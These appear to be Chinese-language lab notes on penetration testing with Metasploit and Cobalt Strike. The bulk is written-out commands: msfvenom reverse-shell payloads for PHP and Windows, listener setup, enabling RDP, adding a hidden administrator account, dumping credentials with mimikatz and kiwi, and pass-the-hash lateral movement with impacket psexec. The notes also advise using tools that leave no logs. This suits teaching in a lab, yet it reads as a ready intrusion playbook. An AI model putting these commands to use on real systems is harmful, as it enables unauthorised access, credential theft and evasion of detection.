阅读量:0
一、msf
假设kali系统是创造木马的主机,Ubuntu系统是被种木马机,利用msf生成木马和远程控制木马
1、在kali系统上配置:
查看命令:msfvenom --help
payloads列表:msfvenom --list payloads
生成木马,命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.249.131 LPORT=12345 -o shellreverse.php
查看生成的木马文件,命令:cat shellreverse.php
搭建一个简单的web服务器,命令:python3 -m http.server 9999
关闭杀软防火墙下载shellreverse.php
2、在Ubuntu系统上
把html的权限降下来,命令:chown -R www-data:www-data html/
写一个web.php文件,让中国蚁剑能连接上
3、打开中国蚁剑
输入ubuntu系统IP地址/web.php
查看权限
下载好的shellreverse.php,用蚁剑上传到Ubuntu系统的html目录下
4、在kali系统上开始监听
命令:msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.249.131
msf6 exploit(multi/handler) > set lport 12345
msf6 exploit(multi/handler) > exploit
访问请求shellreverse.php网页,php权限成功回弹到kali系统上
查看权限,命令:meterpreter > getuid
权限不够大,仅能控制对方网站
以上是msf中php的功能
5、分析下图:以ms17_010为例
exploit开头的是漏洞利用程序
auxiliary开头的是辅助程序,探测漏洞是否存在,是否能够利用
post是后渗透模块,比如我想远程登录一台服务器,但是他没有开放远程登录的端口,就可以用到post模块去远程登录,提权的操作
假设现在要入侵windows系统
6、命令:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.249.131 LPORT=8888 -f exe > msfshell.exe
查看监听端口命令:netstat -tulnp | grep [PORT_NUMBER]
监听步骤同上:
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.249.131
msf6 exploit(multi/handler) > set lport 8888
msf6 exploit(multi/handler) > exploit
搭建web服务器:python3 -m http.server 9999,到windows系统网页打开关闭杀软防火墙,下载msfshell.exe,以管理员身份运行msfshell.exe
回弹成功如下图:
开放windows的3389端口,命令:meterpreter > run post/windows/manage/enable_rdp
查看端口命令:
netstat -ano
netstat -ano | findstr 3389
7、端口已经开放,有两种方式远程登录,创建一个新用户远程登录或直接用管理员账号登录
1、创建一个新用户登录,命令:C:\Users\11876\Desktop>net user oupeng openg123 /add
权限有点小,要提权,添加到管理员组去,命令:C:\Users\11876\Desktop>net localgroup administrators oupeng /add
用创建的用户远程登录连接windows系统
删除创建用户的命令:C:\Users\11876\Desktop>net user oupeng /del
2、用管理员账号登录
利用mimiKatz工具抓取明文密码,命令:meterpreter > load kiwi
meterpreter > hashdump
meterpreter > help(查看帮助)
meterpreter >getsystem
meterpreter >getuid
meterpreter > creds_all
如果用命令 creds_all没有抓到,那就按下面操作
查看进程,命令:meterpreter > ps
查看msfshell.exe进程,命令:meterpreter > ps -ef | grep msfshell.exe
为了让权限更高,迁移到system权限的进程,命令:meterpreter > migrate 10560
8、如果还是没有抓到,将mimikatz下载到入侵的windows操作系统上,然后再进行抓取,如下:
可以先在自己的操作系统下载好mimikatz,然后远程登录携带过去,这里我放在E盘
在携带过去的盘上找到mimikatz压缩包,复制到c盘随便一个目录下,然后解压,在x6
4目录下进入命令行
命令行输入:
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
如果出现下图的问题,说明mimikatz的版本不够低,可以下载低版本的来试试
上面依然没抓到管理员的明文密码,但是抓到了明文密码对应的哈希值,因为登录的时候是明文密码转换成哈希值然后和本地储存的哈希值进行比对,也就是登录框的winlogon程序接受到账号密码之后会发送给一个lsass的进程,这个进程会把明文密码留存在内存中,不仅如此,还会再把一份加密过的明文(哈希值)存储在C:\Windows\System32\config目录的SAM这个文件下,这个文件不可以打开、移动和删除,所以利用哈希值也是可以登录到设备的
9、那么,如何利用哈希值实现远程登录?
利用impacket工具
回到kali系统,输入命令查找这个工具,find / -name impacket
用这个命令查找应该会更好点:find / -name psexec.py
然后输入命令:cd /usr/share/doc/python3-impacket/examples
getST.py和getTGT.py的作用是获取黄金白银票据,goldenPac.py是黄金票据(与本次目的无关)
重点看psexec.py起到什么作用
命令:python3 psexec.py --help
可以得知,不需要明文密码,用哈希值就可以登录,用LM哈希和NT哈希,windows的密码在1994年之前用的是LM哈希,后来密码强度太弱,所以后来更新成了NT哈希,所以抓取到的LM哈希前头都一样,所以登录的时候LM哈希随便写,NT哈希要一致。
命令:python3 psexec.py administrator@192.168.249.132 -hashes 123:7b5e3b0dbe7fb43552facca9070bf4f5
成功登录了win10管理员的账户
如果其他服务器的明文密码和这个明文密码一样,那哈希值也一样,可以做到横向渗透,上面就是利用mimikatz抓取哈希值然后用psexec.py工具来实现的一个横向渗透,这个工具目标流量大,会记录日志,不太推荐
推荐smbexec.py和wmiexec.py,这两不记录日志
10、远程登录kali系统的教程(笔记)
1、sudo apt-get install xrdp
2、sudo apt-get install xfce4
3、sudo vi /etc/xrdp/startwm.sh
4、sudo service xrdp restart
5、sudo service xrdp status
二、CS工具的使用
有服务端和客户端之分,一般用于团队作战,有一个服务端的建立在公网上,一台云服务器,用来共享团队成员之间的shell
进服务端:
启动文件是teamserver,但是它依赖TeamServerImage,所以都要给执行权限
chmod -R 777 cs
chmod -R root:root cs
命令:./teamserver 192.168.249.131 oupeng123
查看端口有没有被占用命令:lsof -i:50050
进客户端:
命令./cobaltstrike-client.sh
改连接的ip为127.0.0.1,因为目前客户端和服务端都建立在一台设备上
不带less的是全功能